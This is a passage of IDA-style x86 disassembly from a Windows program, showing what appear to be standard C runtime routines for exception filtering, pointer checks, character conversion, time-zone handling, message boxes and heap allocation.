; ---------------------------------------------------------------------------


loc_41E7C1:				; CODE XREF: sub_41E79E+Dj
					; sub_41E79E+13j ...
		mov	eax, dword_46BD08
		test	eax, eax
		jz	short loc_41E7DE
		push	eax
		call	sub_41E83A
		test	eax, eax
		pop	ecx
		jz	short loc_41E7DE
		push	esi
		call	dword_46BD08
		jmp	short loc_41E7E0
; ---------------------------------------------------------------------------


loc_41E7DE:				; CODE XREF: sub_41E79E+2Aj
					; sub_41E79E+35j
		xor	eax, eax


loc_41E7E0:				; CODE XREF: sub_41E79E+3Ej
		pop	esi
		retn	4
sub_41E79E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E7E4	proc near		; DATA XREF: .text:00423024o
		push	offset sub_41E79E
		call	dword_42101C	; SetUnhandledExceptionFilter
		mov	dword_46BD08, eax
		retn
sub_41E7E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E7F5	proc near		; DATA XREF: .text:0042303Co
		push	dword_46BD08
		call	dword_42101C	; SetUnhandledExceptionFilter
		retn
sub_41E7F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E802	proc near		; CODE XREF: sub_41AC79+6Bp
					; sub_41B18A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_421018	; IsBadReadPtr
		test	eax, eax
		jz	short loc_41E81A
		xor	esi, esi


loc_41E81A:				; CODE XREF: sub_41E802+14j
		mov	eax, esi
		pop	esi
		retn
sub_41E802	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E81E	proc near		; CODE XREF: sub_41B18A+73p
					; sub_41B18A+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_421184	; IsBadWritePtr
		test	eax, eax
		jz	short loc_41E836
		xor	esi, esi


loc_41E836:				; CODE XREF: sub_41E81E+14j
		mov	eax, esi
		pop	esi
		retn
sub_41E81E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E83A	proc near		; CODE XREF: sub_41B18A+15Bp
					; sub_41E79E+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_421014	; IsBadCodePtr
		test	eax, eax
		jz	short loc_41E84E
		xor	esi, esi


loc_41E84E:				; CODE XREF: sub_41E83A+10j
		mov	eax, esi
		pop	esi
		retn
sub_41E83A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41B42C


loc_41E852:				; CODE XREF: sub_41B42C:loc_41B47Dj
		push	0Ah
		call	sub_41D7B5
		push	16h
		call	sub_41FB6B
		pop	ecx
		pop	ecx
		push	3
		call	sub_417858
; END OF FUNCTION CHUNK	FOR sub_41B42C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E869	proc near		; CODE XREF: sub_41B605+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41E88C
		cmp	[ebp+arg_8], ebx
		jz	short loc_41E88C
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41E892
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41E88C
		mov	[eax], bx


loc_41E88C:				; CODE XREF: sub_41E869+Cj
					; sub_41E869+11j ...
		xor	eax, eax


loc_41E88E:				; CODE XREF: sub_41E869+42j
					; sub_41E869+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41E892:				; CODE XREF: sub_41E869+17j
		cmp	dword_46BB9C, ebx
		jnz	short loc_41E8AD
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41E8A8
		movzx	ax, al
		mov	[ecx], ax


loc_41E8A8:				; CODE XREF: sub_41E869+36j
					; sub_41E869+C0j
		push	1
		pop	eax
		jmp	short loc_41E88E
; ---------------------------------------------------------------------------


loc_41E8AD:				; CODE XREF: sub_41E869+2Fj
		mov	ecx, off_4383F0
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E90A
		mov	eax, dword_4385FC
		cmp	eax, 1
		jle	short loc_41E8F1
		cmp	[ebp+arg_8], eax
		jl	short loc_41E8FB
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_46BBAC
		call	dword_421064	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_4385FC
		jnz	short loc_41E88E


loc_41E8F1:				; CODE XREF: sub_41E869+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41E8FB
		cmp	[esi+1], bl
		jnz	short loc_41E88E


loc_41E8FB:				; CODE XREF: sub_41E869+61j
					; sub_41E869+8Bj ...
		mov	dword_46BB04, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E88E
; ---------------------------------------------------------------------------


loc_41E90A:				; CODE XREF: sub_41E869+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_46BBAC
		call	dword_421064	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41E8A8
		jmp	short loc_41E8FB
sub_41E869	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E931	proc near		; CODE XREF: sub_41B605+76p
					; sub_41B605+88p ...

arg_0		= dword	ptr  4

		cmp	dword_4385FC, 1
		jle	short loc_41E948
		push	8
		push	[esp+4+arg_0]
		call	sub_418576
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41E948:				; CODE XREF: sub_41E931+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_4383F0
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41E931	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E960	proc near		; CODE XREF: sub_41B605+797p
					; sub_41B605+7E7p
		cmp	cl, 40h
		jnb	short loc_41E97A
		cmp	cl, 20h
		jnb	short loc_41E970
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_41E970:				; CODE XREF: sub_41E960+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_41E97A:				; CODE XREF: sub_41E960+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41E960	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E97F	proc near		; CODE XREF: sub_41C07B+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41E9CB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41E99D
		test	al, 80h
		jz	short loc_41E9CB
		test	al, 2
		jnz	short loc_41E9CB


loc_41E99D:				; CODE XREF: sub_41E97F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41E9AA
		push	esi
		call	sub_41D908
		pop	ecx


loc_41E9AA:				; CODE XREF: sub_41E97F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41E9BA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41E9CB
		inc	eax
		mov	[esi], eax


loc_41E9BA:				; CODE XREF: sub_41E97F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41E9D1
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_41E9D7
		inc	eax
		mov	[esi], eax


loc_41E9CB:				; CODE XREF: sub_41E97F+9j
					; sub_41E97F+18j ...
		or	eax, 0FFFFFFFFh


loc_41E9CE:				; CODE XREF: sub_41E97F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E9D1:				; CODE XREF: sub_41E97F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_41E9D7:				; CODE XREF: sub_41E97F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41E9CE
sub_41E97F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E9ED	proc near		; CODE XREF: sub_41C0B6:loc_41C0F5p
		cmp	dword_46BDC8, 0
		jnz	short locret_41EA01
		call	sub_41EA02
		inc	dword_46BDC8

locret_41EA01:				; CODE XREF: sub_41E9ED+7j
		retn
sub_41E9ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EA02	proc near		; CODE XREF: sub_41E9ED+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_46BD10, ebp
		mov	dword_43AE68, ebx
		mov	dword_43AE58, ebx
		call	sub_41FCDD
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_41EB2B
		push	offset dword_46BD18
		call	dword_421158	; GetTimeZoneInformation
		cmp	eax, ebx
		jz	loc_41EC5A
		mov	eax, dword_46BD18
		mov	ecx, dword_46BD6C
		imul	eax, 3Ch
		cmp	word_46BD5E, bp
		push	1
		pop	edx
		mov	dword_43ADC0, eax
		mov	dword_46BD10, edx
		jz	short loc_41EA79
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43ADC0, eax


loc_41EA79:				; CODE XREF: sub_41EA02+69j
		cmp	word_46BDB2, bp
		jz	short loc_41EA9D
		mov	eax, dword_46BDC0
		cmp	eax, ebp
		jz	short loc_41EA9D
		sub	eax, ecx
		mov	dword_43ADC4, edx
		imul	eax, 3Ch
		mov	dword_43ADC8, eax
		jmp	short loc_41EAA9
; ---------------------------------------------------------------------------


loc_41EA9D:				; CODE XREF: sub_41EA02+7Ej
					; sub_41EA02+87j
		mov	dword_43ADC4, ebp
		mov	dword_43ADC8, ebp


loc_41EAA9:				; CODE XREF: sub_41EA02+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_421138
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43AE4C
		push	ebx
		push	offset dword_46BD1C
		push	edi
		push	dword_46BBAC
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41EAE6
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_41EAE6
		mov	eax, off_43AE4C
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_41EAEE
; ---------------------------------------------------------------------------


loc_41EAE6:				; CODE XREF: sub_41EA02+D1j
					; sub_41EA02+D7j
		mov	eax, off_43AE4C
		and	byte ptr [eax],	0


loc_41EAEE:				; CODE XREF: sub_41EA02+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43AE50
		push	ebx
		push	offset dword_46BD70
		push	edi
		push	dword_46BBAC
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_41EC52
		cmp	[esp+14h+var_4], ebp
		jnz	loc_41EC52
		mov	eax, off_43AE50
		and	byte ptr [eax+3Fh], 0
		jmp	loc_41EC5A
; ---------------------------------------------------------------------------


loc_41EB2B:				; CODE XREF: sub_41EA02+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_41EC5A
		mov	eax, dword_46BDC4
		cmp	eax, ebp
		jz	short loc_41EB4E
		push	eax
		push	esi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41EC5A


loc_41EB4E:				; CODE XREF: sub_41EA02+139j
		push	dword_46BDC4
		call	sub_415C9B
		push	esi
		call	sub_415B10
		inc	eax
		push	eax
		call	sub_415BE9
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_46BDC4, eax
		jz	loc_41EC5A
		push	esi
		push	eax
		call	sub_415A20
		push	3
		push	esi
		push	off_43AE4C
		call	sub_416BE0
		mov	eax, off_43AE4C
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41EBA3
		push	1
		inc	esi
		pop	edi


loc_41EBA3:				; CODE XREF: sub_41EA02+19Bj
		push	esi
		call	sub_4157F4
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43ADC0, ecx


loc_41EBBA:				; CODE XREF: sub_41EA02+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_41EBC8
		cmp	al, bl
		jl	short loc_41EBCB
		cmp	al, 39h
		jg	short loc_41EBCB


loc_41EBC8:				; CODE XREF: sub_41EA02+1BCj
		inc	esi
		jmp	short loc_41EBBA
; ---------------------------------------------------------------------------


loc_41EBCB:				; CODE XREF: sub_41EA02+1C0j
					; sub_41EA02+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41EC1E
		inc	esi
		push	esi
		call	sub_4157F4
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43ADC0
		add	ecx, eax
		mov	dword_43ADC0, ecx


loc_41EBE9:				; CODE XREF: sub_41EA02+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41EBF6
		cmp	al, 39h
		jg	short loc_41EBF6
		inc	esi
		jmp	short loc_41EBE9
; ---------------------------------------------------------------------------


loc_41EBF6:				; CODE XREF: sub_41EA02+1EBj
					; sub_41EA02+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41EC1E
		inc	esi
		push	esi
		call	sub_4157F4
		pop	ecx
		mov	ecx, dword_43ADC0
		add	ecx, eax
		mov	dword_43ADC0, ecx


loc_41EC11:				; CODE XREF: sub_41EA02+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41EC1E
		cmp	al, 39h
		jg	short loc_41EC1E
		inc	esi
		jmp	short loc_41EC11
; ---------------------------------------------------------------------------


loc_41EC1E:				; CODE XREF: sub_41EA02+1CCj
					; sub_41EA02+1F7j ...
		cmp	edi, ebp
		jz	short loc_41EC2A
		neg	ecx
		mov	dword_43ADC0, ecx


loc_41EC2A:				; CODE XREF: sub_41EA02+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43ADC4, eax
		jz	short loc_41EC52
		push	3
		push	esi
		push	off_43AE50
		call	sub_416BE0
		mov	eax, off_43AE50
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_41EC5A
; ---------------------------------------------------------------------------


loc_41EC52:				; CODE XREF: sub_41EA02+10Bj
					; sub_41EA02+115j ...
		mov	eax, off_43AE50
		and	byte ptr [eax],	0


loc_41EC5A:				; CODE XREF: sub_41EA02+40j
					; sub_41EA02+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_41EA02	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC60	proc near		; CODE XREF: sub_41C0B6+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43ADC4, edi
		jnz	short loc_41EC74


loc_41EC6D:				; CODE XREF: sub_41EC60+148j
					; sub_41EC60+150j ...
		xor	eax, eax
		jmp	loc_41EDC0
; ---------------------------------------------------------------------------


loc_41EC74:				; CODE XREF: sub_41EC60+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43AE58
		jnz	short loc_41EC92
		cmp	eax, dword_43AE68
		jz	loc_41ED94


loc_41EC92:				; CODE XREF: sub_41EC60+24j
		cmp	dword_46BD10, edi
		jz	loc_41ED6A
		movzx	ecx, word_46BDBE
		push	ecx
		cmp	word_46BDB0, di
		movzx	ecx, word_46BDBC
		push	ecx
		movzx	ecx, word_46BDBA
		push	ecx
		movzx	ecx, word_46BDB8
		push	ecx
		jnz	short loc_41ECE4
		movzx	ecx, word_46BDB4
		push	edi
		push	ecx
		movzx	ecx, word_46BDB6
		push	ecx
		movzx	ecx, word_46BDB2
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_41ECF8
; ---------------------------------------------------------------------------


loc_41ECE4:				; CODE XREF: sub_41EC60+65j
		movzx	ecx, word_46BDB6
		push	ecx
		push	edi
		movzx	ecx, word_46BDB2
		push	edi
		push	ecx
		push	eax
		push	edi


loc_41ECF8:				; CODE XREF: sub_41EC60+82j
		push	ebx
		call	sub_41EE0C
		movzx	eax, word_46BD6A
		add	esp, 2Ch
		cmp	word_46BD5C, di
		push	eax
		movzx	eax, word_46BD68
		push	eax
		movzx	eax, word_46BD66
		push	eax
		movzx	eax, word_46BD64
		push	eax
		jnz	short loc_41ED52
		movzx	eax, word_46BD60
		push	edi
		push	eax
		movzx	eax, word_46BD62
		push	eax
		movzx	eax, word_46BD5E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_41ED47:				; CODE XREF: sub_41EC60+108j
		push	edi
		call	sub_41EE0C
		add	esp, 2Ch
		jmp	short loc_41ED94
; ---------------------------------------------------------------------------


loc_41ED52:				; CODE XREF: sub_41EC60+C8j
		movzx	eax, word_46BD62
		push	eax
		push	edi
		movzx	eax, word_46BD5E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_41ED47
; ---------------------------------------------------------------------------


loc_41ED6A:				; CODE XREF: sub_41EC60+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_41EE0C
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_41EE0C
		add	esp, 58h


loc_41ED94:				; CODE XREF: sub_41EC60+2Cj
					; sub_41EC60+F0j
		mov	edx, dword_43AE5C
		mov	eax, dword_43AE6C
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_41EDC4
		cmp	ecx, edx
		jl	loc_41EC6D
		cmp	ecx, eax
		jg	loc_41EC6D
		cmp	ecx, edx
		jle	short loc_41EDD8
		cmp	ecx, eax
		jge	short loc_41EDD8


loc_41EDBE:				; CODE XREF: sub_41EC60+166j
					; sub_41EC60+16Aj
		mov	eax, ebx


loc_41EDC0:				; CODE XREF: sub_41EC60+Fj
					; sub_41EC60+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41EDC4:				; CODE XREF: sub_41EC60+144j
		cmp	ecx, eax
		jl	short loc_41EDBE
		cmp	ecx, edx
		jg	short loc_41EDBE
		cmp	ecx, eax
		jle	short loc_41EDD8
		cmp	ecx, edx
		jl	loc_41EC6D


loc_41EDD8:				; CODE XREF: sub_41EC60+158j
					; sub_41EC60+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_41EDFF
		xor	ecx, ecx
		cmp	eax, dword_43AE60
		setnl	cl


loc_41EDFB:				; CODE XREF: sub_41EC60+1AAj
		mov	eax, ecx
		jmp	short loc_41EDC0
; ---------------------------------------------------------------------------


loc_41EDFF:				; CODE XREF: sub_41EC60+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43AE70
		setl	cl
		jmp	short loc_41EDFB
sub_41EC60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE0C	proc near		; CODE XREF: sub_41EC60+99p
					; sub_41EC60+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_41EEA7
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_41EE37
		shl	esi, 2
		mov	eax, dword_43AE70[esi]
		jmp	short loc_41EE40
; ---------------------------------------------------------------------------


loc_41EE37:				; CODE XREF: sub_41EE0C+1Ej
		shl	esi, 2
		mov	eax, dword_43AEA4[esi]


loc_41EE40:				; CODE XREF: sub_41EE0C+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_41EE7A
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_41EE84
; ---------------------------------------------------------------------------


loc_41EE7A:				; CODE XREF: sub_41EE0C+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_41EE84:				; CODE XREF: sub_41EE0C+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_41EEC2
		cmp	[ebp+arg_8], 0
		jnz	short loc_41EE98
		mov	esi, dword_43AE74[esi]
		jmp	short loc_41EE9E
; ---------------------------------------------------------------------------


loc_41EE98:				; CODE XREF: sub_41EE0C+82j
		mov	esi, dword_43AEA8[esi]


loc_41EE9E:				; CODE XREF: sub_41EE0C+8Aj
		cmp	ecx, esi
		jle	short loc_41EEC2
		sub	ecx, 7
		jmp	short loc_41EEC2
; ---------------------------------------------------------------------------


loc_41EEA7:				; CODE XREF: sub_41EE0C+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_41EEB8
		mov	ecx, dword_43AE70[eax*4]
		jmp	short loc_41EEBF
; ---------------------------------------------------------------------------


loc_41EEB8:				; CODE XREF: sub_41EE0C+A1j
		mov	ecx, dword_43AEA4[eax*4]


loc_41EEBF:				; CODE XREF: sub_41EE0C+AAj
		add	ecx, [ebp+arg_18]


loc_41EEC2:				; CODE XREF: sub_41EE0C+7Cj
					; sub_41EE0C+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_41EEF3
		mov	eax, [ebp+arg_1C]
		mov	dword_43AE5C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43AE58, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43AE60, eax
		jmp	short loc_41EF48
; ---------------------------------------------------------------------------


loc_41EEF3:				; CODE XREF: sub_41EE0C+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43AE6C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43ADC8
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43AE70, eax
		jns	short loc_41EF2B
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43AE70, eax
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------


loc_41EF2B:				; CODE XREF: sub_41EE0C+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_41EF42
		sub	eax, edx
		inc	ecx
		mov	dword_43AE70, eax


loc_41EF3C:				; CODE XREF: sub_41EE0C+11Dj
		mov	dword_43AE6C, ecx


loc_41EF42:				; CODE XREF: sub_41EE0C+126j
		mov	dword_43AE68, ebx


loc_41EF48:				; CODE XREF: sub_41EE0C+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41EE0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF4C	proc near		; CODE XREF: sub_41D05F+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41EF5D
		add	esp, 0Ch
		retn
sub_41EF4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF5D	proc near		; CODE XREF: sub_41EF4C+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_46D041[eax], cl
		jnz	short loc_41EF8A
		cmp	[esp+arg_4], 0
		jz	short loc_41EF83
		movzx	eax, word_4383FA[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41EF85
; ---------------------------------------------------------------------------


loc_41EF83:				; CODE XREF: sub_41EF5D+16j
		xor	eax, eax


loc_41EF85:				; CODE XREF: sub_41EF5D+24j
		test	eax, eax
		jnz	short loc_41EF8A
		retn
; ---------------------------------------------------------------------------


loc_41EF8A:				; CODE XREF: sub_41EF5D+Fj
					; sub_41EF5D+2Aj
		push	1
		pop	eax
		retn
sub_41EF5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF8E	proc near		; CODE XREF: sub_41D7B5+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_46BDCC, ebx
		push	esi
		push	edi
		jnz	short loc_41EFDD
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4210C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41F013
		mov	esi, dword_4210C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_46BDCC, eax
		jz	short loc_41F013
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_46BDD0, eax
		call	esi	; GetProcAddress
		mov	dword_46BDD4, eax


loc_41EFDD:				; CODE XREF: sub_41EF8E+Bj
		mov	eax, dword_46BDD0
		test	eax, eax
		jz	short loc_41EFFC
		call	eax	; GetActiveWindow
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41EFFC
		mov	eax, dword_46BDD4
		test	eax, eax
		jz	short loc_41EFFC
		push	ebx
		call	eax	; GetLastActivePopup
		mov	ebx, eax


loc_41EFFC:				; CODE XREF: sub_41EF8E+56j
					; sub_41EF8E+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_46BDCC	; MessageBoxA


loc_41F00F:				; CODE XREF: sub_41EF8E+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41F013:				; CODE XREF: sub_41EF8E+1Cj
					; sub_41EF8E+33j
		xor	eax, eax
		jmp	short loc_41F00F
sub_41EF8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F017	proc near		; CODE XREF: sub_41D972+22p
					; sub_41D972+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_41F038
		test	esi, esi
		jnz	short loc_41F032
		push	1
		pop	esi


loc_41F032:				; CODE XREF: sub_41F017+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41F038:				; CODE XREF: sub_41F017+12j
					; sub_41F017+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41F097
		mov	eax, dword_46D168
		cmp	eax, 3
		jnz	short loc_41F063
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_46D160
		ja	short loc_41F082
		push	eax
		call	sub_419011
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41F0AD
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F063:				; CODE XREF: sub_41F017+30j
		cmp	eax, 2
		jnz	short loc_41F082
		cmp	esi, dword_43A634
		ja	short loc_41F082
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_419AB4
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41F0C1


loc_41F082:				; CODE XREF: sub_41F017+3Bj
					; sub_41F017+4Aj ...
		push	esi
		push	8
		push	dword_46D164
		call	dword_42114C	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41F0BB


loc_41F097:				; CODE XREF: sub_41F017+26j
		cmp	dword_46BB64, 0
		jz	short loc_41F0BB
		push	esi
		call	sub_418A88
		test	eax, eax
		pop	ecx
		jz	short loc_41F0C4
		jmp	short loc_41F038
; ---------------------------------------------------------------------------


loc_41F0AD:				; CODE XREF: sub_41F017+48j
		push	[ebp+arg_0]


loc_41F0B0:				; CODE XREF: sub_41F017+ABj
		push	0
		push	edi
		call	sub_415390
		add	esp, 0Ch


loc_41F0BB:				; CODE XREF: sub_41F017+7Ej
					; sub_41F017+87j
		mov	eax, edi


loc_41F0BD:				; CODE XREF: sub_41F017+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41F0C1:				; CODE XREF: sub_41F017+69j
		push	esi
